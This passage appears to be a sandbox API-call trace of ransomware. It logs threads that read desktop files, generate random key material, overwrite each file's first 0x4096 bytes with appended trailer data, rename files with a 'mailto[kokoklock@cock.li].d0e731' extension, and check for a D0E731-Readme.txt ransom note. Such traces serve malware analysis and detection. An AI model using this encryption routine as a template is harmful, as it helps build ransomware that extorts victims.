lpBuffer=0x3058070*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1447f944, lpOverlapped=0x0 | out: lpBuffer=0x3058070*, lpNumberOfBytesWritten=0x1447f944*=0x20, lpOverlapped=0x0) returned 1 [0171.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0171.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x1447f958*=0x8, lpOverlapped=0x0) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x1447f970*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x1447f970*, lpNumberOfBytesWritten=0x1447f958*=0x4, lpOverlapped=0x0) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1447f958*=0x4, lpOverlapped=0x0) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1447f958*=0x6c, lpOverlapped=0x0) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x1447f958*=0x20, lpOverlapped=0x0) returned 1 [0171.953] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1447f958, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1447f958*=0x4, lpOverlapped=0x0) returned 1 [0171.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0171.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.954] CloseHandle (hObject=0x5d4) returned 1 [0172.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff15f8 [0172.291] wcscpy (in: _Dest=0x2ff15f8, _Source="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" [0172.291] wcscat (in: _Dest=0x2ff15f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.291] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.351] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff15f8) returned 1 [0172.351] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.352] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.352] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.352] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f828f8) returned 1 [0172.352] RtlExitUserThread (Status=0x1) Thread: id = 1961 os_tid = 0xfd4 [0170.758] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.852] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x144ffbb0 | out: lpFileSize=0x144ffbb0*=62289) returned 1 [0171.852] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xf34d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.853] ReadFile (in: hFile=0x5d4, lpBuffer=0x144ffb84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x144ffb84*, lpNumberOfBytesRead=0x144ffb80*=0x4, lpOverlapped=0x0) returned 1 [0171.854] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0171.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0171.855] NtQuerySystemTime (in: CurrentTime=0x144ffb5c | out: CurrentTime=0x144ffb5c*=132121213291702021) returned 0x0 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x6872b50e [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xdb9c6cec [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xfcefc559 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xe9b207da [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x6e610f82 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x8ee6798d [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xdb5ee42 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x5cb35e5f [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xbbc83b5e [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x81494928 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x868659c3 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xcecd3a3e [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x6461dc88 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x27a7140c [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xc0ac7bee [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x29ac5392 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x9f89fc28 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x931c66ce [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xa8eef992 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x631fa754 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xc422076a [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x1ffb7e01 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x2a8fa961 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x89703dc7 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x1feff526 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x3fd8df5 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xa8ac9de6 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xbc8b2486 [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x31b756dd [0171.855] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0xf661ed84 [0171.856] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x51bd5abd [0171.856] RtlRandom (in: Seed=0x144ffb68 | out: Seed=0x144ffb68) returned 0x2bc9e928 [0171.866] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.868] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.868] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x144ffb34, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x144ffb34*=0x4096, lpOverlapped=0x0) returned 1 [0171.868] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0171.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0171.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058048 [0171.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058020 [0171.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058020) returned 1 [0171.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0171.869] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x144ffb34, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x144ffb34*=0x4096, lpOverlapped=0x0) returned 1 [0171.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.870] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xf351, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.870] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x144ffb6c, lpOverlapped=0x0 | out: lpBuffer=0x3058048*, lpNumberOfBytesWritten=0x144ffb6c*=0x20, lpOverlapped=0x0) returned 1 [0171.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058048) returned 1 [0171.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.870] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x30580e8*, lpNumberOfBytesWritten=0x144ffb80*=0x8, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x5d4, lpBuffer=0x144ffb98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x144ffb98*, lpNumberOfBytesWritten=0x144ffb80*=0x4, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x144ffb80*=0x4, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x144ffb80*=0x6c, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x144ffb80*=0x20, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144ffb80, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x144ffb80*=0x4, lpOverlapped=0x0) returned 1 [0171.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0171.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0171.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0171.871] CloseHandle (hObject=0x5d4) returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f986c0 [0172.289] wcscpy (in: _Dest=0x2f986c0, _Source="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" [0172.289] wcscat (in: _Dest=0x2f986c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.289] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.358] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f986c0) returned 1 [0172.359] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.359] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.359] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.359] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee390) returned 1 [0172.359] RtlExitUserThread (Status=0x1) Thread: id = 1962 os_tid = 0xfd8 [0170.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.892] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0171.893] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1457fa34 | out: lpFileSize=0x1457fa34*=74973) returned 1 [0171.893] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x124d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.893] ReadFile (in: hFile=0x5d4, lpBuffer=0x1457fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1457fa04, lpOverlapped=0x0 | out: lpBuffer=0x1457fa08*, lpNumberOfBytesRead=0x1457fa04*=0x4, lpOverlapped=0x0) returned 1 [0171.894] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0171.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0171.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058020 [0171.894] NtQuerySystemTime (in: CurrentTime=0x1457f9e0 | out: CurrentTime=0x1457f9e0*=132121213292014443) returned 0x0 [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xb163e29b [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x1918c914 [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x14eede14 [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xb8250e52 [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x24dbab7d [0171.894] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x3f038149 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x8538afa1 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xdc29caa1 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x8f8513d5 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x1e896f0 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xd707625 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x1e5c1512 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xabbd54d3 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xfe66e894 [0171.908] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x1046ad12 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xe888d760 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x202e0404 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xb36dfa49 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x72540308 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x15842fc0 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xe51a320f [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x274d6eda [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x6fd0777a [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xb61a773d [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xb2f8d227 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xbdec69de [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x28650e6a [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x5a010c65 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0x3bc581ee [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xfa486de [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xcb2877e7 [0171.909] RtlRandom (in: Seed=0x1457f9ec | out: Seed=0x1457f9ec) returned 0xe451954 [0171.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0171.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0171.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.932] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.932] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1457f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1457f9b8*=0x4096, lpOverlapped=0x0) returned 1 [0171.932] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0171.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0171.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0171.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058048 [0171.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0171.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0171.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0171.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0171.933] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1457f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1457f9b8*=0x4096, lpOverlapped=0x0) returned 1 [0171.934] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.934] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x124dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.934] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1457f9f0, lpOverlapped=0x0 | out: lpBuffer=0x3058048*, lpNumberOfBytesWritten=0x1457f9f0*=0x20, lpOverlapped=0x0) returned 1 [0171.934] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058048) returned 1 [0171.934] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 